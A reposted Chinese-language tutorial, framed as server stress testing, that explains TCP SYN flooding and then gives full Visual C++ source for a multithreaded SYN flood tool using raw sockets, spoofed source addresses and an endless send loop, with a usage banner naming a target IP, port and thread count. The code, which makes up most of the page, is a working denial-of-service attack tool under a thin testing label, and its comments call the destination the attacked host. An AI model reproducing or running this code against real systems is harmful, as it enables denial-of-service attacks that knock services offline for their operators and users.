基於visual c++之windows核心編程程式碼分析(38)實踐伺服器壓力測試-SYN請求

來源:互聯網
上載者:User

  SYN 請求實現壓力監測利用TCP協議缺陷,發送了大量偽造的TCP串連請求,使得被攻擊方資源耗盡,無法及時回應或處理正常的服務要求。一個正常的TCP串連需要三向交握,首先用戶端發送一個包含SYN標誌的資料包,其後伺服器返回一個SYN/ACK的應答包,表示用戶端的請求被接受,最後用戶端再返回一個確認包ACK,這樣才完成TCP串連。在伺服器端發送應答包後,如果用戶端不發出確認,伺服器會等待到逾時,期間這些半串連狀態都儲存在一個空間有限的緩衝隊列中;如果大量的SYN包發到伺服器端後沒有應答,就會使伺服器端的TCP資源迅速耗盡,導致正常的串連不能進入,甚至會導致伺服器的崩潰。

      我們一般開發網站項目的時候,經常需要測試伺服器壓力,好進行網路最佳化,測試伺服器壓力經常用到SYN監測,下面見程式碼分析,實現伺服器壓力測試。

 

#include <winsock2.h>#include <Ws2tcpip.h> #include <stdio.h>#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目標IPvoid display(void)  // 定義狀態提示函數 { static int play=0;// 進度條 char *plays[12]= { " | ",  " / ",  " - ",  " \\ ", " | ",  " / ",  " - ",  " \\ ",  " | ",  " / ",  " - ",  " \\ ", }; printf("=%s= %d threads \r", plays[play],threadnum);play=(play==11)?0:play+1;} //定義一個tcphdr結構來存放TCP首部typedef struct tcphdr{USHORT th_sport;//16位源連接埠號碼USHORT th_dport;//16位目的連接埠號碼unsigned int th_seq;//32位序號unsigned int th_ack;//32位確認號unsigned char th_lenres;//4位首部長度+6位保留字中的4位unsigned char th_flag;////6位標誌位USHORT th_win;//16位視窗大小USHORT th_sum;//16位效驗和USHORT th_urp;//16位緊急資料位移量}TCP_HEADER; //定義一個iphdr來存放IP首部typedef struct iphdr//ip首部{        unsigned char h_verlen;//4位手部長度,和4位IP版本號碼        unsigned char tos;//8位類型服務        unsigned short total_len;//16位總長度        unsigned short ident;//16位標誌        unsigned short frag_and_flags;//3位標誌位(如SYN,ACK,等等)        unsigned char ttl;//8位存留時間        unsigned char proto;//8位協議        unsigned short checksum;//ip手部效驗和        unsigned int sourceIP;//偽造IP地址        unsigned int destIP;//攻擊的ip地址}IP_HEADER;//TCP偽首部,用於進行TCP效驗和的計算,保證TCP效驗的有效性struct{unsigned long saddr;//源地址unsigned long daddr;//目的地址char mbz;//置空char ptcl;//協議類型unsigned short tcpl;//TCP長度}PSD_HEADER; //計算效驗和函數,先把IP首部的效驗和欄位設為0(IP_HEADER.checksum=0)//然後計算整個IP首部的二進位反碼的和。USHORT checksum(USHORT *buffer, int size){unsigned long cksum=0;while(size >1) {cksum+=*buffer++;size-=sizeof(USHORT);}if(size) cksum+=*(UCHAR*)buffer;cksum=(cksum >> 16)+(cksum&0xffff);cksum+=(cksum >>16);return (USHORT)(~cksum); }DWORD WINAPI SynfloodThread(LPVOID lp)//synflood線程函數{SOCKET  sock =NULL;int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;struct sockaddr_in sockAddr;TCP_HEADER  tcpheader;IP_HEADER   ipheader;char        sendBuf[128];sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if(sock==INVALID_SOCKET){printf("Socket failed: %d\n",WSAGetLastError());return 0;}//設定IP_HDRINCL以便自己填充IP首部ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));if(ErrorCode==SOCKET_ERROR){        printf("Set sockopt failed: %d\n",WSAGetLastError());return 0;}//設定發送逾時ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));if(ErrorCode==SOCKET_ERROR){        printf("Set sockopt time out failed: %d\n",WSAGetLastError());return 0;}    //設定目標地址memset(&sockAddr,0,sizeof(sockAddr));sockAddr.sin_family=AF_INET;sockAddr.sin_addr.s_addr =inet_addr(DestIP);FakeIpNet=inet_addr(DestIP);FakeIpHost=ntohl(FakeIpNet);    //填充IP首部ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));ipheader.ident = 1;ipheader.frag_and_flags = 0;ipheader.ttl = 128;ipheader.proto = IPPROTO_TCP;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);ipheader.destIP = inet_addr(DestIP);    //填充TCP首部tcpheader.th_dport=htons(port);tcpheader.th_sport = htons(8080);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_ack = 0;tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);tcpheader.th_flag = 2;tcpheader.th_win = htons(16384);tcpheader.th_urp = 0;tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;PSD_HEADER.daddr=ipheader.destIP;PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP;PSD_HEADER.tcpl=htons(sizeof(tcpheader));for(;;){       SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_sport = htons(SendSEQ);tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;//把TCP偽首部和TCP首部複製到同一緩衝區並計算TCP效驗和memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));memcpy(sendBuf,&ipheader,sizeof(ipheader));memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);dataSize=sizeof(ipheader)+sizeof(tcpheader);ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);memcpy(sendBuf,&ipheader,sizeof(ipheader));sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));    display();   }//end for    Sleep(20);    InterlockedExchangeAdd((long *)&threadnum,-1);return 0;}void usage(char *name){printf("\t===================SYN Flood======================\n");printf("\t==========gxisone@hotmail.com     2004/7/6========\n");printf("\tusage: %s [dest_IP] [port] [thread]\n",name);printf("\tExample: %s 192.168.1.1 80 100\n",name);}int main(int argc,char* argv[]){    if(argc!=4){usage(argv[0]);return 0;}usage(argv[1]);int ErrorCode=0;DestIP=argv[1];//取得目標主機IPport=atoi(argv[2]);//取得目標連接埠號碼maxthread=(maxthread>100)?100:atoi(argv[3]);//如果線程數大於100則把線程數設定為100WSADATA wsaData;if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){        printf("WSAStartup failed: %d\n",ErrorCode);         return 0;}printf("[start]...........\nPress any key to stop!\n");while(threadnum<maxthread)//迴圈建立線程{    if(CreateThread(NULL,0,SynfloodThread,0,0,0)){Sleep(10);    threadnum++;}}WSACleanup();printf("\n[Stopd]...........\n");return 0;}

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.